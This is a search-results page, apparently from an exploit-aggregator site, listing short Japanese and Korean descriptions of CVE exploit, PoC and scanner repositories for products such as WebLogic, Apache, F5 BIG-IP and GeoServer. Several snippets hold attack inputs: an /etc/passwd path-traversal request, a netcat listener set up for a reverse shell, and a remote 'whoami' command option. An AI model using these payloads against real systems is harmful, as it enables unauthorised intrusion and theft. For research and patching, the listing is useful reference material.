113358 matches found
cve-2020-14882
cve-2020-14882 OracleのWebLogicの認証なしリモートコマンド実行を悪用するBashスクリプト - CVE-2020-14882 使い方 ./cve-2020-14882.sh...
CVE-2022-23773-Reproduce
CVE-2022-23773 の再現 デモの実行 root@kitploit: git clone https://github.com/Liuyushung/CVE-2022-23773-Reproduce.git cd CVE-2022-23773-Reproduce/testenv/ ./execmain.sh...
CVE-2024-46986
CVE-2024-46986 Camaleon CMS エクスプロイト - 任意のファイルアップロード このリポジトリには、Camaleon CMS のファイルアップロード脆弱性の悪用を自動化する Python スクリプトが含まれています。この脆弱性により、攻撃者は任意のファイル（Ruby スクリプトなど）をサーバーにアップロードでき、リモートコード実行（RCE）やその他の深刻なセキュリティ影響につながる可能性があります。 特徴 ファイルアップロードエクスプロイト : 悪意のある Ruby スクリプトをターゲットサーバーにアップロードします。 ペイロードオプション :...
Remote-Buffer-overflow-CVE-2003-0172
Remote-Buffer-overflow-CVE-2003-0172 root@kitploit: ┌──cyberdesu㉿MSI- └─$ python3 buffer.py usage: exploit.py...
CVE-2012-2982
CVE-2012-2982 OstojaOfficial ユーザーによるオリジナルから改良された、CVE-2012-2982 Webmin 1.580 向けの Python POC これはオリジナルスクリプトの改良版で、ユーザーがスクリプト全体を確認しなくてもデータ入力の形式を確認できるようにしています。そのために、コードの該当セクションを先頭に移動しただけです。 同時に、スクリプトが実行され続けるのを防ぐための終了命令 sys.exit1 が追加されています。 また、エクスプロイトを呼び出す時点で、Webmin 1.580...
CVE-2020-5902
CVE-2020-5902 CVE-2020-5902 のエクスプロイト PoC bash バージョン...
CVE-2021-42013
CVE-2021-42013 취약점 스캐너 이 Python 스크립트는 Apache 2.4.50의 원격 코드 실행RCE 취약점CVE-2021-42013을 확인합니다. 소개 이 스크립트는 서버가 Apache 2.4.50의 CVE-2021-42013 RCE 취약점에 취약한지 확인하는 데 도움을 주기 위해 설계되었습니다. 서버의 응답 헤더를 검사하여 취약점이 존재하는지 확인하고, 교육 목적으로 이를 익스플로잇합니다. 사전 요구 사항 Python 3.x Python3.12에서 작성됨 인터넷 연결 사용법 1. 저장소를 클론하거나...
cve-2021-41773-and-cve-2021-42013
cve-2021-41773 および cve-2021-42013 cve-2021-41773 と cve-2021-42013 のバッチ検証用Pythonスクリプト 実行環境：python3 使い方：python3 poc.py url.txt url.txt に検証対象のURLを記述し、脆弱性が存在するURLは success.txt に書き込まれます。 検証内容はシンプルで、GETリクエストで cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd を送信します。しかし、requests...
CVE-2020-13942-POC-
CVE-2020-13942 POC + 自動化スクリプト 手順 ステップ 1 : お気に入りのバグバウンティプログラムの対象サブドメインをすべて列挙する ステップ 2 : それらをtargets.txtファイルに入れる ステップ 3 : スクリプトを実行する ステップ 4 : 脆弱性のあるターゲットを見つけたら、私に言及するのを忘れないでください :...
CVE-2026-30502-OpenKM-6.3.12-Reflected-XSS
🛡️ CVE-2026-30502 — OpenKM v6.3.12 における反射型XSS 発見・報告者:Dharmendra Kumar — セキュリティ研究者 サイバーセキュリティ | ペネトレーションテスト | 脆弱性研究 | 責任ある開示 📌 目次 概要 CVE 詳細 影響を受ける製品 脆弱性の説明 根本原因分析 影響とリスク評価 概念実証 PoC 修正と推奨事項 開示のタイムライン 参考文献 研究者について 🔍 概要 このリポジトリは、CVE-2026-30502 の責任ある開示を文書化したものです。これは、企業や政府機関で広く使用されているオープンソースの文書管理システム...
CVE-2024-38856
CVE-2024-38856 Apache Ofbiz RCE スキャナー 説明 このスクリプトは、Apache OfbizアプリケーションにおけるCVE-2024-38856脆弱性をスキャンするために設計されています。この脆弱性はリモートコード実行を可能にする可能性があります。このスクリプトは、悪意のあるペイロードを含むHTTP POSTリクエストをOfbizアプリケーション内の特定のパスに送信して脆弱性を悪用します。 機能 さまざまなパスを使用してターゲットの脆弱性をスキャンします 高速処理のためにマルチスレッドをサポートします...
CVE-2022-47966_checker
CVE-2022-47966checker ManageEngine CVE-2022-47966のIOCを検索するための簡易PowerShellスクリプトです。このスクリプトは、ME HTTPアクセスログ内のリクエストを解析します。特徴的なSAMLリクエストが見つかった場合、攻撃者のペイロードをデコードして抽出しようとします。結果は C:\aceresponderCVE-2022-47966checker.csv に書き込まれます。管理者として実行してください。...
CVE-2023-25157-checker
CVE-2023-25157-체커 golang으로 작성된 스크립트입니다. CVE-2023-25157에 대한 PoC입니다. 사용 방법 1. git clone https://github.com/7imbitz/CVE-2023-25157-checker.git 2. cd CVE-2023-25157-checker 3. go run CVE-2023-25157.go 을 대상 서버의 URL로 바꾸십시오. Google Dork inurl:"/geoserver/ows?service=wfs" 연구...
http-pulse_ssl_vpn.nse
概要 Pulse Secure SSL VPN のファイル開示脆弱性を、特別に細工した HTTP リソースリクエスト経由で検出するシンプルな NSE スクリプトです。 このエクスプロイトは概念実証として /etc/passwd を読み取ります。 この脆弱性は次のバージョンに影響します（8.1R15.1、8.2 before 8.2R12.1、8.3 before 8.3R7.1、9.0 before 9.0R3.4）。 インストール $ git clone https://github.com/r00tpgp/http-pulsesslvpn.nse.git $ cd...
CVE-2026-59310
CVE-2026-59310 寄付 PayPalまたは以下のQRコードをスキャンして、このプロジェクトのメンテナンスを支援してください。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください: ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップと使用例: root@kitploit: Follow every dir project 注: 他のプロジェクトからクローンした場合は、ネストされた .git ディレクトリをクリアするために curl -fsSL...
F5-BIG-IP-RCE-CVE-2022-1388
CVE-2022-1388 F5 BIG-IP RCE マルチスレッド検出 使用方法： root@kitploit: 単一URL: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx バッチマルチスレッド: python3 CVE-2022-1388.py -f url.txt コマンド実行: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami 結果:...
CVE-2024-36401
CVE-2024-36401 CVE-2024-36401の脆弱性チェック用のプログラムです。 使い方 まず、以下コマンドを実行し、通信の待ち受け状態にしてください。 root@kitploit: nc -lvnp 9000 その後、別のウィンドウのターミナルでファイルを実行して下さい。 root@kitploit: python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 相手のドメインまたはIPアドレス --targetport...
CVE-2023-25157
CVE-2023-25157 이것은 최신 GeoServer SQL Injection 취약점을 찾는 간단한 Python 스크립트입니다. 호스트에서 스크립트를 사용하여 감염된 경로를 확인할 수 있습니다. 설치: 1. git clone https://github.com/0x2458bughunt/CVE-2023-25157/ 2. cd CVE-2023-25157 3. chmod +x geoserver.sh 참고: 모든 파일을 같은 디렉터리에 두어야 합니다. 시스템 어디에서나 파일을 사용하려면 다음 단계를 따르세요: 1...